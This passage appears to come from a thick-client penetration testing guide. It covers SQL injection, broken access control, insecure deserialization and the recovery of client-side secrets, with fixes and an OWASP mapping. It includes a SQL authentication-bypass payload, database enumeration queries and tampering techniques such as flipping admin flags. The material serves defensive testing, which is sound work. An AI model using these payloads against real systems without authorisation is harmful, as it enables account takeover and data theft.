**Fix:** the GUI is a rendering of policy, never the policy itself. Every restriction the interface displays must be re-enforced server-side on every request. The audit question for each UI control is one sentence: *what happens when this request arrives without the interface in front of it?* If the answer is not "the server rejects it," the control does not exist.

</details>

## Phase 6 · Server-Side Attacks

<details>

<summary>6.1 SQL Injection</summary>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FQ4ECB478qtWqxfMzi0FY%2Fimage.png?alt=media&amp;token=0259e45c-e22e-4270-9e44-2906806c62f5" alt=""><figcaption></figcaption></figure>

In a 2-tier app the client builds the query itself, so injection is usually **in the binary you already decompiled** — you can read the vulnerable statement rather than guess at it. In a 3-tier app, you are testing the API behind the client and ordinary web methodology applies.

A login routine that concatenates input looks like this in the decompiled source:

```csharp
// vulnerable — the value becomes part of the command
string q = "select * from users where username = '" + user + "' and password = '" + pass + "'";
```

```sql
-- classic authentication bypass in the username field, any password
admin' or 1=1 --
```

| Part     | Job                                                                                                                      |
| -------- | ------------------------------------------------------------------------------------------------------------------------ |
| `'`      | Closes the string the app opened — everything after is parsed as **command**, not data                                   |
| `or 1=1` | Always-true condition; one true side of an `or` makes the whole clause true, so the password test stops meaning anything |
| `--`     | Starts a comment; the trailing quote the app appends is ignored instead of breaking the statement                        |

{% hint style="success" %}
**This is not "bypass a password" — it is "pick an account".** Supplying `admin'--` selects the administrator row with no password at all, which turns authentication bypass into privilege escalation. Always test the named privileged account, not just the first row.
{% endhint %}

**Post-exploitation when you hold real DB credentials (2-tier):** you have far more than the app's own queries. Enumerate with SSMS or `sqlcmd`, then assess what the application's DB principal can actually do — this is where a Medium becomes a Critical.

```sql
-- who am I and what am I a member of?
SELECT SUSER_NAME(), USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;

-- what is reachable
SELECT name FROM sys.tables;
```

{% hint style="warning" %}
Stop at proof. Enumerate the schema and read the minimum rows needed to demonstrate access. Do not dump customer tables, and do not enable `xp_cmdshell` on a production instance — proving you *can* reach `sysadmin` is the finding; detonating it is an incident.
{% endhint %}

**Fix:** parameterised queries / prepared statements. The statement is compiled **before** the values arrive, so once the shape of the command is fixed a value cannot become part of the command. That is a structural guarantee; input sanitisation is only a filter. In 2-tier, the deeper fix is removing the direct database connection entirely.

</details>

<details>

<summary>6.2 Broken access control — BOLA, BFLA and mass assignment</summary>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2F2H20Y6QJwCVKxa6jP2KA%2Fimage.png?alt=media&amp;token=40ee62d0-2cd7-42ba-bcad-a48880cb7e4f" alt=""><figcaption></figcaption></figure>

Once you can intercept and edit requests (Phase 4), the client's identity claims become editable. Test all three classes separately — they have different fixes and should be **separate reports**.

| Class                   | Test                                                                                   | Proof required                                      |
| ----------------------- | -------------------------------------------------------------------------------------- | --------------------------------------------------- |
| **BOLA / IDOR (read)**  | Swap the object identifier — `id`, `email`, `accountNo`, `userId` — for another user's | Victim's actual data in **your** session's response |
| **BOLA / IDOR (write)** | Same swap on a create/update/delete call                                               | A record that now exists in the victim's account    |
| **BFLA**                | Call an admin-only function as a low-privilege user                                    | Admin action succeeding under the low-priv token    |
| **Mass assignment**     | Add or flip a field that the UI never sends — `isAdmin`, `role`, `verified`, `balance` | Privilege or state change the UI cannot produce     |

{% hint style="danger" %}
**The highest-value target is the field with no counterpart in the UI.** When a request carries `isAdmin=0` and the interface offers no way to set it, the developer never considered anyone setting it — because the restriction was built in the UI instead of on the server. Flipping one byte, `0` → `1`, creates an administrator. Enumerate every field in every request and ask of each: *can I reach this from the interface?* The ones you cannot are the richest tampering targets.
{% endhint %}

**Methodology:**

1. Two accounts, always — **A = attacker**, **B = victim**. Never test IDOR against yourself.
2. Capture B's identifiers while logged in as B.
3. Send **A's session** with **B's identifier**. A response containing B's data is the finding.
4. Negative control: send a random non-existent identifier. If that also returns data, you have a different bug (or no authorization at all) — and if it errors the same way as B's identifier, you have proven nothing.
5. Check the **sibling endpoints**. If `/user/123/orders` is protected, test `/user/123/export`, `/delete`, `/share`. This single rule explains a large share of all paid IDOR findings.

**Fix:** authorise server-side against the **session's** identity, never against an identifier supplied in the request. Enforce privilege assignment server-side; the UI is a convenience, not a control.

</details>

<details>

<summary>6.3 Insecure deserialization</summary>

Thick clients exchange objects, not just JSON. If you see a serialized blob on the wire or on disk, the receiving end is a candidate for gadget-chain execution.

| Stack  | Signature to look for                                                                                   | Notes                                             |
| ------ | ------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| Java   | Hex `AC ED 00 05`, or Base64 beginning `rO0AB`                                                          | Classic `ObjectInputStream`                       |
| .NET   | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter`, `ObjectStateFormatter`, `SoapFormatter` | See the note below — still live on .NET Framework |
| Python | `pickle`                                                                                                | Any `pickle.loads` on remote data                 |

{% hint style="warning" %}
**`BinaryFormatter` is still a live issue on thick clients.** Microsoft obsoleted it in .NET 5 (warning `SYSLIB0011`) and in **.NET 9 the in-box implementation was removed and now always throws**. But **.NET Framework is unaffected and still ships a working implementation** — and most enterprise thick clients are .NET Framework apps. Finding `BinaryFormatter.Deserialize` on attacker-reachable data in a Framework app is a real finding today.
{% endhint %}

Gadget-chain tooling: [ysoserial](https://github.com/frohoff/ysoserial) (Java) and [ysoserial.net](https://github.com/pwntester/ysoserial.net) (.NET). [SerializationDumper](https://github.com/NickstaDB/SerializationDumper) parses a Java stream so you can read it before you touch it.

**Fix:** do not deserialize untrusted data into arbitrary types. Use a data-only format (JSON) with an explicit allow-list of types, or a signed/authenticated envelope.

</details>

<details>

<summary>6.4 Testing the rest of the API</summary>

When the app is 3-tier, everything behind it is a normal API engagement once you can see the traffic. Run the standard classes against it: authentication and session handling, rate limiting on sensitive actions, SSRF in any URL-taking parameter, file upload handling, and business-logic flaws around pricing, quotas and refunds — the client's UI restrictions tell you exactly which values the developer assumed could never change.

</details>

## Phase 7 · Cryptography on the Client

{% hint style="danger" %}
**Encryption does not fix client-side storage.** For the application to decrypt its own data, the key must be reachable by the application — and *reachable by the application* means *reachable by the machine's owner*. A key and IV sitting in the same `.config` file as the ciphertext is not encryption; it is encoding with extra steps.
{% endhint %}

<details>

<summary>7.1 The pattern to look for</summary>

```xml
<!-- the entire finding, in one file -->
<appSettings>
  <add key="DB_PASSWORD" value="qV8nK2p1LwQ9x4Rf..." />
  <add key="KEY"         value="A1B2C3D4E5F60718" />
  <add key="IV"          value="0123456789ABCDEF" />
</appSettings>
```

When key, IV and ciphertext ship together, write the finding as **"secrets are stored on the client"**, not "weak encryption". The root cause is that the data is on the client at all.

</details>

<details>

<summary>7.2 Three ways to recover the plaintext</summary>

| Method                                  | How                                                                                                                                                                                      | Why it works                                                               |
| --------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| **Reuse the app's own decrypt routine** | Call the application's decrypt method from your own harness (PowerShell `Add-Type` + reflection, or a small C# project referencing the assembly), passing the key and IV from the config | If the application can decrypt it, so can you — same function, same inputs |
| **Live debugging**                      | Breakpoint the decrypt call in dnSpyEx/x64dbg, run the app, read the **Locals** window                                                                                                   | You never break the cipher; you wait for the app to break it for you       |
| **API breakpoint**                      | Break on `CryptDecrypt` / `BCryptDecrypt` / `CryptUnprotectData` and read the output buffer                                                                                              | Works on native binaries with no symbols                                   |

The second method is the most reliable and the easiest to screenshot for a report: one breakpoint, one run, the plaintext in a variable window.

</details>

<details>

<summary>7.3 What to check</summary>

* **Where is the key?** In the binary, in the config, in the registry, derived from a machine identifier, or fetched from the server at runtime? Only the last one is defensible.
* **Is it a real KDF?** A password-derived key must use PBKDF2/scrypt/Argon2 with a salt and a high iteration count — not `MD5(password)`.
* **Mode and IV.** ECB leaks structure. A fixed or reused IV with CBC is a finding on its own. No MAC means the ciphertext is malleable.
* **Is it just encoding?** Base64, hex and XOR are regularly reported by developers as "encrypted". Decode before you report either way.
* **DPAPI scope.** A blob protected with `CRYPTPROTECT_LOCAL_MACHINE` can be unprotected by **any** process on that machine; user-scoped DPAPI is bound to the user profile. On a shared or multi-user host, machine-scope DPAPI protects nothing against a local attacker.

**Fix:** do not keep the secret on the client. When a client genuinely must hold a credential, broker it — the client authenticates the *user*, the server holds the privileged credential and performs the privileged action. Where local protection is unavoidable, use user-scoped DPAPI or the platform credential store, and treat it as obfuscation against casual access, not as a boundary.

</details>

***

<details>

<summary>Defence Matrix</summary>

| Finding                          | Root cause                                         | Fix                                                                                                                 |
| -------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------- |
| Unencrypted app↔DB traffic       | No transport encryption                            | Enforce TLS on the database connection; reject unencrypted sessions server-side                                     |
| Hardcoded credentials            | Secrets compiled into a binary that ships to users | Remove from the client; broker access through a server                                                              |
| Credentials in the registry      | Trusting a user-writable location for identity     | Do not derive identity from the client; encryption alone is **not** sufficient                                      |
| Session persists after close     | Session never invalidated on exit                  | Clear session state on close and require re-authentication                                                          |
| Secrets in memory after logout   | Buffers never zeroed                               | Wipe sensitive buffers as soon as they are no longer needed                                                         |
| Debug logging in production      | Release process did not disable logging            | Disable verbose logging in the production build; never log secrets                                                  |
| `.config` holds creds + key + IV | Secrets on the client at all                       | Move them server-side; a key beside its ciphertext is not encryption                                                |
| DLL hijacking                    | Name-only load + writable folder                   | Fully qualified paths, `SetDefaultDllDirectories`, signature verification, harden folder ACLs, do not run as SYSTEM |
| Local privilege escalation       | Service/installer ACL and path weaknesses          | Quote service paths, restrict ACLs, run with least privilege, sign and verify updates                               |
| SQL injection                    | String concatenation into the query                | Parameterised queries; remove the direct DB connection in 2-tier                                                    |
| BOLA / IDOR                      | Server trusts the identifier in the request        | Authorise server-side against the **session's** identity                                                            |
| Admin flag in request honoured   | Restriction enforced in the UI only                | Enforce privilege assignment server-side                                                                            |
| Binary patching                  | No integrity verification                          | Startup integrity check + code signing; treat obfuscation as a speed bump, not a control                            |
| GUI-only restrictions            | Control implemented in the interface               | Enforce every restriction on the server                                                                             |

</details>

***

<details>

<summary>Operator Notes</summary>

* **Start with reversing.** Reading decompiled source maps the entry points and tells you where to spend the rest of the engagement — you see immediately that a query has no parameterisation, or that the app talks to hosts you did not know about. Caveat: this only works cleanly if the binary is not heavily obfuscated.
* **Establish the architecture before you write anything.** Reporting a server-side issue on an app with no server side costs you the developer's trust for the whole report.
* **Exercise the application before dumping memory.** A cold process hides the very secrets you are looking for. Log in, run every feature, *then* dump.
* **Clean up between findings.** A planted DLL that crashes the app will make your next test fail for a non-security reason. Remove artefacts before moving on.
* **Record the baseline first** — how many admins, what each role sees — so a later change is demonstrably a change.
* **Prefer a missing file over an existing one** when planting; keep the target running.
* **Chase the same secret through several paths.** A credential found in the source, in `strings` output, in `.config`, in memory and on the wire is five independent confirmations. That report is not arguable.
* **One finding is a signal, not an endpoint.** A developer who trusted the registry for identity trusted the client somewhere else too. When you confirm bug A, spend twenty minutes looking for B before you start writing.
* **Snapshot the VM between phases.** You are patching binaries and editing the registry; you need a clean rollback.
* **Write findings separately.** BOLA-read, BOLA-write, mass assignment and BFLA have different root causes and different fixes — they are different reports, not one.

</details>

***

<details>

<summary>Mapping to OWASP Desktop App Security Top 10 (2021)</summary>

| ID   | Category                                    | Covered in     |
| ---- | ------------------------------------------- | -------------- |
| DA1  | Injections                                  | Phase 6.1      |
| DA2  | Broken Authentication & Session Management  | Phases 2, 3, 5 |
| DA3  | Sensitive Data Exposure                     | Phase 3        |
| DA4  | Improper Cryptography Usage                 | Phase 7        |
| DA5  | Improper Authorization                      | Phases 5, 6.2  |
| DA6  | Security Misconfiguration                   | Phases 1.2, 5  |
| DA7  | Insecure Communication                      | Phase 4        |
| DA8  | Poor Code Quality                           | Phases 1.2, 2  |
| DA9  | Using Components with Known Vulnerabilities | Phase 1.1      |
| DA10 | Insufficient Logging & Monitoring           | Phase 3        |

</details>

<details>

<summary>References</summary>

* [OWASP Desktop App Security Top 10](https://owasp.org/www-project-desktop-app-security-top-10/)
* [Thick Client Pentest Checklist — Hari-prasaanth](https://github.com/Hari-prasaanth/Thick-Client-Pentest-Checklist)
* [HackTricks — Windows Local Privilege Escalation](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)
* [Microsoft — Dynamic-link library search order](https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)
* [Electron — Security guidelines](https://www.electronjs.org/docs/latest/tutorial/security)

</details>

<details>

<summary>Source Code Review</summary>

* Use DnsSpy and look for the critical functions
* Depug the Functions live on aaplication
* Batch and chanfge in the code of the applicaation and check if there is no batching ddefense

</details>
